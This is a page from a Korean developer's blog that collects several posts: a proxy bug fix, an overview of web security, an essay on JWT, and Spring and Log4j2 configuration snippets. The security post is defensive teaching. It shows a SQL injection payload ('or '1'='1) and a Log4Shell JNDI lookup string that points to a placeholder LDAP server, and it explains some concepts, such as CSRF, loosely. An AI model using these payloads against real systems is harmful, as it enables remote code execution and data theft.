친절한 토리씨

주인장 놀라고 갑니다.

불친절한 토리씨 — Mon, 13 Feb 2023 19:23:14 +0900

구글에 블로그명을 검색하면 바로 나오는 것도 그렇고

프로젝트 집중하는 사이에 무려 구독이 2명이나 생겼더라구요.

별개 언급없이 구독 받는게 절대로 쉽지 않은일인데..

어느분인지 모르지만 저에게는 감개무량할 좋은 추억이 될것 같습니다. 감사할 따름입니다.

프로젝트가 생각보다 오래 걸림에 따라서 블로그를 방치하는 시간이 길어졌습니다.

곧 끝이 보이니 조만간 생각외의 좋은 완성품과 함께 돌아오도록 하겠습니다.

수학 관련 포스팅은.. 그 후에 차차 수정을 거친뒤 안정이되면 재개할 생각입니다.

Error occurred while proxying request [ECONNREFUSED]

불친절한 토리씨 — Sat, 4 Feb 2023 20:15:21 +0900

이 이슈는 백엔드와 프론트간의 연결을 제어하던중에 발생한 문제였다.

프론트엔드측의 코드와 백엔드측의 코드를 모두 살펴보고 구글링했으나

코드 상에서 틀린부분을 전혀 찾을 수 없었다.

결국 자신이 작성했던 모든 행적들을 하나하나 추적하며 생각하던 중,

백/프론트의 코드가 아닌 서버측의 설정때문에 혼선이 발생한 것을 깨달아버렸다.

백엔드 측에서 ip를 ipv4로 받아올 필요가 있어서 톰켓에 별도의 설정을 했었던 것이 문제였다.

관련 자료를 찾지 못해서 추측이지만,

프론트엔드 측에서 사용했던 http-proxy-middleware 가 url 경로를 찾을때 ipv6를 사용하는것 같다.

ipv4로 받는 톰켓의 경로와의 혼선에 의해서 서로의 연결이 맞지 않았다고 결론을 내린다.

프록시 작성시 localhost 로 작성한 코드를 127.0.0.1 로 ipv4형식을 지정함으로써 문제를 해결했다.

만약 추후 Ipv6로 변동한다면 그땐 다시 localhost로 되돌려 쓰면 될것 같다.

BUG FIX 카테고리에 대하여..

불친절한 토리씨 — Sat, 4 Feb 2023 19:45:31 +0900

작성자는 단순 코드의 잘못된 작성에의한 이슈는 별개로 기록하지 않는다.

다만, 아주 드물게 예외가 존재한다.

1.라이브러리 / 코드 사용에 필요한 별도의 지식이 부족하여 코드상으로 처리할 수 없는 경우

2.분명히 잘못된 코드가 없는데, 외부 환경에 의해서 이슈가 발생할 경우

3.트레이스 추척이 불가능한 오류 가 이에 해당한다.

BUG FIX 에서는 작자가 개발을 진행하면서 격는 이러한 난해한 오류에 대한 정리를 해두었다.

공개의 목적이라기 보단 작자가 추후에 다시 보며 버그를 픽스하는것에 초점을 둔 글이므로,

bug fix에서 만큼은 글의 내용이 철저하게 작자에게 맞춰서 설명한 내용들로 이루어져 있다.

선정된 경험을 바탕으로 작성되기 때문에 그만큼 작성할 글이 적으므로

이 항목은 어디까지나 검색 기록용으로 쓰이며,

앞으로도 잘 관리하지 않을 예정이다.

웹 보안에 대한 정리. (1)

불친절한 토리씨 — Wed, 1 Feb 2023 20:45:49 +0900

1부. 해킹

보안에 대한 지식을 간과한체 앱을 구현하는 것은 빠르고 편하고 쉬우나 그 대가가 엄청나게 무섭다.

적어도 개발자라면 반드시 관련 지식을 알아둬야만 하는 공격과 보안에 대한 설명을 하겠다.

1.XSS

1)공격

해커가 작성한 코드를 웹페이지에서 작동하게하는 사용자에게 심각한 피해를 입히는 방법이다.

사용자 닉네임을 input으로 받는다고 해보자.

입력 받은 문자열은 웹 페이지 어딘가에 출력되는 정보이다. 예를 들면 게시글이 될 수도 있다.

그렇다면, input 에 정상적인 문자열 대신에 이렇게 적어보는건 어떨까?

이렇게 적은 닉네임을 지닌 유저가 게시글을 올려두었다고 해보자.

게시판을 사용하는 타인이 화면을 로딩하던중 해당 닉네임을 화면에 출력하게 된다면

HTML 태그로 인식되는 해당 닉네임은 타인에게 alert 창을 띄우게 되는 것이다.

예시에서는 alert를 사용했지만

간단하게 while문으로 무거운 연산을 반복하게하는 것만으로 컴퓨터를 정지시키는것도 가능하다.

2)대응

대응법은 특수문자를 서버에서 모두 검열하는 것이 가장 최선이다.

물론 게시글의 본문에 이런 조치를 취할수는 없다.

이에 대해서는 해쉬코드와 인코딩에서 추가로 설명하겠다.

만약 프론트엔드 단에서 react 를 사용한다면 xss에 대한 방지효과를 볼수 있다.

2.SQL injection

1)공격

해커가 데이터베이스에 접근해서 서버의 데이터를 빼돌리거나 파기하는 방법이다.

클라이언트에서 사용자 명에 대하여 db에서 정보를 꺼낸다고 해보자.

이때의 SQL문이

select column form table where id = 'userid';

일때

유저가 입력한 userid의 값이 [userid' or '1'='1] 라면?

select column form table where id = 'userid' or '1'='1';

이런 식으로 쿼리의 의도를 공격자가 변형한다.

2)대응

이 역시 특수문자를 서버에서 검열하는 방법이 있으나

가장 좋은 방법은 쿼리 작성시

select column form table where id = ?;

이런 식으로 Parameter Binding 형태로 인자를 받아 사용하는 것이다.

만약 jpa를 사용한다면 이 형태를 기본 형태로 적용해서 사용하므로 SQL injection을 어느정도 예방할 수 있다.

어느정도라 하는 이유는 jpa에서 사용자 정의 쿼리를 사용하면서 허점이 생길 수 있기 때문.

3.CSRF

1)공격

서버에서 로그인을 승인한 뒤에 인가를 위한 토큰을 클라이언트에게 지급할 경우

이 토큰을 탈취한뒤 사용자의 정보를 이용하는 방법.

굳이 토큰이 아니여도 된다. 주요 타겟은 사용자의 쿠키 정보다.

URL 링크나 버튼등의 클릭등을 유도해서 타 유저의 권한에 대한 정보를 빼돌린뒤 공격자가 권한을 이용하는 방법이다.

조금 더 자세히 설명하자면 개념이 약간 다르다.

상대방이 특정 사이트에 접속하는 등의 작업을 하기 위해선

url에 지정되어있는 서버에서 정보를 달라고 요청을 보내게되는데,

이때 서버측은 정보를 요청하는 상대측의 경로를 받게된다.

즉 , 이렇게 받아낸 연결 경로를 이용해서 브라우저에서 자동으로 받게되는 여러 정보들을 위조해서 보낸뒤,

사용자의 권한을 획득하는 방법이다.

2)대응

클라이언트의 host와 request가 같은지 대조를 하면 일부분 예방할 수 있다.

3)부록

개발자들 사이에서 피해가 비교적 미미해서 프론트엔드 단에서 자잘하게 막지 않는 공격 유형이 두가지가 있는데,

화면 요소를 꾸미는 html injection 과 css injection 이 이에 해당한다.

물론 이러한 변형을 서버단에 저장하게 하는 것은 다소 힘든면이 있으나

이미지의 출력을 URL로 사용할 수 있다는 점을 유의할 필요가있다.

+logj 에 대한 보안 주의

결과가 가장 심각하다 이것 만큼은 절대로 모르면 안됀다.

xss가 클라이언트 단에서 임의 코드를 실행한다면

logj를 사용한 이 공격은 서버단에서 임의 코드를 실행해버린다.

1)공격

서버에서 컨트롤러단에서 사용자의 get이나 post를 인자로 받는다고 생각해보자.

서버단에서는 get 이나 post를 받을때마다 어떤 내용을 받았는지 로그로 기록을 할것이다.

그래서 이에 가장 많이 사용되는 라이브러리가 logj인데,

만약 컨트롤러 단에서 인자를 ${jndi: ldap://server_ip:port/exploit } 로 받았다고 생각해보라.

대강 이 내용을 String 으로 받아서 로그로 기록한다 하면,

logger.info("${jndi: ldap://server_ip:port/exploit }");

이런 형태가 된다.

logj에서 제공하는 jndi는 타 컴퓨터와 통신으로 객체나 데이터를 주고 받기위해서 존재한다.

그런데 이를 악용해서 역으로 상대 컴퓨터 측에서 객체를 실행시키는 결과로 나타날 수 있다.

2)대응

logj는 반드시 2.17.1 이상의 버전을 사용해야한다.

jwt에 대한 고찰..

불친절한 토리씨 — Wed, 18 Jan 2023 20:40:23 +0900

1.일반적인 로그인 프로세스

일단 로그인 프로세스를 알아야 이해할 수 있다.

일반적인 로그인 프로세스는 클라이언트에서 아이디와 비밀번호를 입력 받으면

그에 대해서 인증(Authentication) 과정을 거친다.

말하자면 DB에 저장되어있는 정보와 일치하는가 대조해서 ok 사인을 받는다.

클라이언트는 Ok 사인을 받으면 id를 세션구역(서버측 쿠키)에 저장하고

이후에 로그인이 필요한 서비스를 이용할 때마다

세션에 저장해둔 id 를 기준으로 데이터를 찾는다.

즉, 세션의 id 정보를 토대로 기능의 사용을 인가(Authorization) 한다.

그러나, 세션에 id 정보를 저장하는 것이 문제가 되는 경우가 존재하는데,

만약에 서버가 여러개라면? 세션이 저장되어있는 서버를 한번씩 들러야 하는 번거로움이 생긴다.

2.JWT

클라이언트에 id 정보를 local Storage 나 cookie 에 저장할 수도 있으나

이건 해커에게 정보를 털어가 달라고 사정하는 수준의 위험도를 지닌다.

그래서 이에 대응해서 만들어진 또 다른 로그인 방식이 바로 JWT다.

이 방법에선 인증(Authentication) 과정의 후처리로 아이디와 비밀번호의 조회가 끝난 뒤

서버는 정보를 암호화한 토큰(입장권)을 클라이언트에게 발급한다.

클라이언트는 특정 기능을 실행할 때마다 이 토큰을 서버에게 전달해주며

이때 암호화된 토큰을 서버에서 복호화에 성공하면 인가(Authorization),

실패하면 변조된 데이터로 보고 비인가 한다.

이 과정을 통해서 복호화한 토큰속에 유저의 아이디 정보가 들어있다면,

이 아이디 정보를 토대로 유저에게 맞는 정보를 DB에서 가져올 수 있다.

3.위험성

인터넷을 뒤져보면 잘못된 형태로 쓰고 설명하는 글들도 엄청나게 많다.

작자는 매우 엄중하게 경고한다.

!!!!!jwt를 제대로 이해 못했다면 절대로 쓰지 말것!!!!!

생각없이 쓰면 코딩 인생이 끝날만큼 엄청나게 위험하다.

이 토큰을 사용할때 별도의 데이터 대조와 인증 과정을 거치지 않는다는 점을 주목할 필요가 있다.

JWT는 아이디와 비밀번호의 인증이 끝난뒤에 발급된 허가권이다.

즉, 이 허가권만 탈취하면 아이디와 비밀번호없이 데이터를 해킹할 수 있다.

이에 대응하기 위해서 토큰의 토큰의 토큰의 토큰으로 사용할 것인가?

JWT를 사용하는 이유를 생각해보자.

추가적인 인증 과정을 만들어 버린다면 그 시점에서 JWT를 사용할 장점과 이유가 완전히 없다.

더불어서 토큰을 '안전한 장소에 보관' 하는 방법은 전혀 존재하지 않는다.

이는 절대로 빈말이 아니다.

local Storage 는 js로 바로바로 털어낼 수 있고

session에 저장한다면 jwt의 개념 자체가 박살나며

cookie 에 저장해서 http only로 저장하라는 의견도 있는데 rest로 보내면 그만이다.

+이게 무슨소리냐면 http only로 저장한 토큰은 사용을 위해서 이리되고 저리됬든

결국 rest 코드가 반드시 들어갈 수 밖에 없기 때문에 입출력에서 허점이 존재한다는 뜻이다.

차이점이 있다면 조금 더 귀찮은 정도 뿐이다.

js 변수에 저장하라는 말도 있었다. 사용자가 브라우저로 새로고침하면 토큰이 날라간다.

그 새로고침에 대응하기 위해서 결국 local Storage , cookie를 쓰게되니 번거로움만 남는다.

4.리프레시 토큰

이러한 취약점을 지니고 있으나 현재시점에서 jwt가 쓰일 수 있는 유일한 이유는 리프레시 토큰이다.

리프레시 토큰을 알아보기 전에 준비과정인 인증(Authentication)부분을 살펴보자.

이번엔 아이디와 비밀번호 검증이 끝난 뒤, 이번엔 토큰을 두개 지급한다.

토큰 A는 사용을 허가할때 쓰는 Access token, 또 다른 하나는 Refresh token.

Access token 에는 DB에서 정보를 꺼내기 위해서 존재하는 유저 정보와 토큰의 제한 시간이 적혀있다.

Refresh token 에는 refresh token의 제한시간과 +alpha가 들어있다.

리프레시 토큰은 access token의 제한 시간이 끝나면

다음 access token을 이어서 받을때에 서버에 접속하기 위한 인가(Authorization) 에 사용된다.

인가가 끝난뒤, 어떤 유저의 토큰을 제작해야 하는가를 판단할 데이터가 추가로 필요한데

이 부분을 +alpha 로 처리한다.

이렇게 처리 함으로써 access token가 탈취 되었더라도 이미 기한이 종료된 토큰이므로 공격을 어느정도 예방한다.

이 방법은 완벽하지 않지만 현재 대중적으로 사용되고 있는 방법이다.

완벽하지 않은이유는 아래와 같다.

1.access token 의 기한은 짧아야 한다. 즉, 서버에 계속해서 신호를 보낸다.

2.기한이 짧다고 완벽한 것이 아니다. 결국 탈취한뒤에 사용할 수 있는 여백의 시간은 존재한다.

이 두가지 문제가 서로 충돌하는 점 또한 고려해야 한다.

때문에 적절한 제한시간의 조율이 필요하다.

4.오해

흔히들 사용하는 jwt의 사용원칙은 아래와 같다.

access token은 짧게, refresh token은 길게.

토큰은 안전한 장소에 보관.

글을 쭉 읽고 따라왔다면 이해할 것이다. 프론트 엔드에서 토큰을 안전하게 보관할 장소는 존재할 수 없다.

안전하게 보관이 가능하다면 그 시점에서 이미 개발자 또한 토큰을 사용할 방법이 없다.

여기서 주목할 부분은 refresh token은 길게라는 개념의 부분인데,

refresh token은 access token을 지급 받는 용도 외에 사용되지 않으므로

유저의 정보를 해킹하는 것과 거리가 먼 비교적 안전한 탈취라는 의미로 쓰이는 말이다.

즉, 토큰을 방어하는것은 불가능하니 털린다는 것을 전제로 구현하라는 것이 진짜 뜻이다.

5.리프레시 코튼이 탈취되면?

그렇다면, refresh token을 탈취 당하는 것이 정말 안전한가?

안전하다고 하는 이들이 많지만 작자는 아니라고 생각한다.

rsa 암호화를 사용하기 때문에 상대적으로 토큰의 해시코드가 털릴 가능성은 낮으나

리프레시 토큰에서도 결국 사용자를 식별할 수 있는 정보가 포함되어 있기 때문이다.

이를 활용한 해킹 공격의 (ex.SQL injection) 의 표적으로 삼을 수 있고

자신의 계정에서 refresh token을 추출한 뒤, 유저 식별 정보를 위조해서

다른 계정의 access token을 획득할 수도 있을 것이다.

복호화 없이 토큰 자체를 바로 적용한뒤 access token을 획득할 가능성도 있다.

그러므로 토큰을 구현 하겠다면 핵심적으로 방어해야하는 부분이 refresh token이다.

토큰의 변조여부(sha의 비밀키가 털렸을 가능성), 토큰의 탈취여부에 대응해야만 한다.

그것이 jwt를 구현할 수 있는 최소한의 자격이라고 생각한다.

Final. JWT에 대한 정리

1.jwt는 보안적으로 상당히 위험한 허점이 있다. 그러므로 제대로 그 구조를 알고 사용하자.

2.jwt를 쓰면 대조를 위한 DB와의 통신을 줄일 수 있다. 그러나 서버와의 통신이 그 이상으로 늘어난다.

3.jwt를 안전하게 보관할 방법은 없다. cookie 와 localStorage는 각각 csrf, xss 공격에 취약점이있다.

4.그러므로 고민하지 말고 보관은 자유롭게 하되, 서버측에서 토큰의 변조, 탈취 검사를 제대로 할것.

[project config] Spring 유닛 설정

불친절한 토리씨 — Fri, 23 Dec 2022 18:37:35 +0900

본 글은 Spring boot 이 아닌 Spring mvc 를 기준으로 하고 있습니다.

1.Spring AOP

①pom.xml 에 maven 의존 추가

	<dependency>
		<groupId>org.aspectj</groupId>
		<artifactId>aspectjweaver</artifactId><!--AOP-->
		<version>1.8.14</version>
	</dependency>

②configuration 설정 (2중 1택)

1)java configuration

@Configuration
@EnableWebMvc
@EnableAspectJAutoProxy(proxyTargetClass = true)
public class MvcConfiguration{

@Bean
public AspectHouse aspectHouse(){
	return new AspectHouse();
}

}

2)xml configuration

<beans 
xsi:schemaLocation="... +
http://www.springframework.org/schema/aop
http://www.springframework.org/schema/aop/spring-aop-4.3.xsd"
xmlns:aop="http://www.springframework.org/schema/aop">

...+
<aop:aspectj-autoproxy />
<bean id="aspect" class="com.exjample.AspectHouse"/>
</beans>

※컴포넌트 스캔을 통해서 @Component 로 빈을 등록하는 방법도 존재합니다.

③pointcut 설정

@Aspect
public class AspectHouse {
	@Pointcut("execution(public void package.class.method(..))")
    public void pointcut(){}
	@Around("Pointcut Method Name()")
    public void around(){}
}

2.Log4j2

①pom.xml 에 maven 의존 추가

	<dependency>
		<groupId>org.apache.logging.log4j</groupId>
		<artifactId>log4j-core</artifactId><!-- v16미만 에서 심각한 취약점발견 -->
		<version>2.17.0</version>
	</dependency>
	
	<dependency>
		<groupId>org.apache.logging.log4j</groupId>
		<artifactId>log4j-api</artifactId>
		<version>2.17.0</version>
	</dependency>
    
    <dependency>
		<groupId>org.apache.logging.log4j</groupId>
		<artifactId>log4j-slf4j-impl</artifactId>
		<version>2.17.0</version>
	</dependency>

※ 취약점이란, 홈페이지에 접속하는 것 만으로 서버 컴퓨터를 조종할 수 있을 정도의

심각한 취약점이니 미만의 버전을 절대로 사용하지 마세요.

②classpath 에 log4j2.xml 작성

작성예시

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">

<Properties>
  <Property name="dbName">database</Property>
  <Property name="usrName">user</Property>
  <Property name="sprName">spring</Property>
  <Property name="path">logs</Property>
  <Property name="pattern">%d [%t] %-5level %c(%M:%L) - %m%n</Property>
</Properties>

<Appenders>
	
	<Console name="console" target="SYSTEM_OUT">
   		<PatternLayout pattern="${pattern}" />
  	</Console>

	<RollingFile name="dbfile" fileName="/${path}/${dbName}.log" 
    	filePattern="/${path}/${dbName}_%d{yyyy-MM-dd}_%i.log">
		<PatternLayout pattern="${pattern}" />
		<Policies>
        		<!-- 일별 로그 파일 생성-->
			<TimeBasedTriggeringPolicy modulate="true" interval="1" />
			<SizeBasedTriggeringPolicy size="10MB" />
		</Policies>
		<DefaultRolloverStrategy max="365" fileIndex="min" />
	</RollingFile>
	
	<RollingFile name="usrfile" fileName="/${path}/${usrName}.log" 
    	filePattern="/${path}/${logName}_%d{yyyy-MM-dd}_%i.log">
		<PatternLayout pattern="${pattern}" />
		<Policies>
			<TimeBasedTriggeringPolicy modulate="true" interval="1" />
			<SizeBasedTriggeringPolicy size="10MB" />
		</Policies>
		<DefaultRolloverStrategy max="365" fileIndex="min" />
	</RollingFile>
	
	<RollingFile name="springfile" fileName="/${path}/${sprName}.log" 
    	filePattern="/${path}/${sprName}_%d{yyyy-MM-dd}_%i.log">
		<PatternLayout pattern="${pattern}" />
		<Policies>
			<TimeBasedTriggeringPolicy modulate="true" interval="1" />
			<SizeBasedTriggeringPolicy size="10MB" />
		</Policies>
		<DefaultRolloverStrategy max="365" fileIndex="min" />
	</RollingFile>

</Appenders>

<Loggers>
	<Root level="DEBUG" additivity="false" >
		<AppenderRef ref="dbfile" />
		<AppenderRef ref="usrfile" />
		<AppenderRef ref="springfile" />
	</Root>
	
	<logger name="org.springframework" level="INFO" additivity="false" >
		<AppenderRef ref="springfile" />
	</logger>
	
	<Logger name="jdbc.sqltiming" level="TRACE" additivity="false">
    	<AppenderRef ref="dbfile" />
	</Logger>
	
	<Logger name="log.UserLog" level="TRACE" additivity="false">
		<AppenderRef ref="usrfile" />
		<AppenderRef ref="console" />
	</Logger>
</Loggers>

</Configuration>

친절한 토리씨

주인장 놀라고 갑니다.

Error occurred while proxying request [ECONNREFUSED]

BUG FIX 카테고리에 대하여..

웹 보안에 대한 정리. (1)

1부. 해킹

결과가 가장 심각하다 이것 만큼은 절대로 모르면 안됀다.

jwt에 대한 고찰..

1.일반적인 로그인 프로세스

2.JWT

3.위험성

!!!!!jwt를 제대로 이해 못했다면 절대로 쓰지 말것!!!!!

4.리프레시 토큰

4.오해

5.리프레시 코튼이 탈취되면?

Final. JWT에 대한 정리

[project config] Spring 유닛 설정

1.Spring AOP

2.Log4j2

누군가가 블로그를 해킹했나...?

[Project Config] Spring에 Mybatis 혹은 JPA 연동하기

[Windows] React 설치 및 Spring과 연동

[Windows] Spring MVC 프로젝트 수동 생성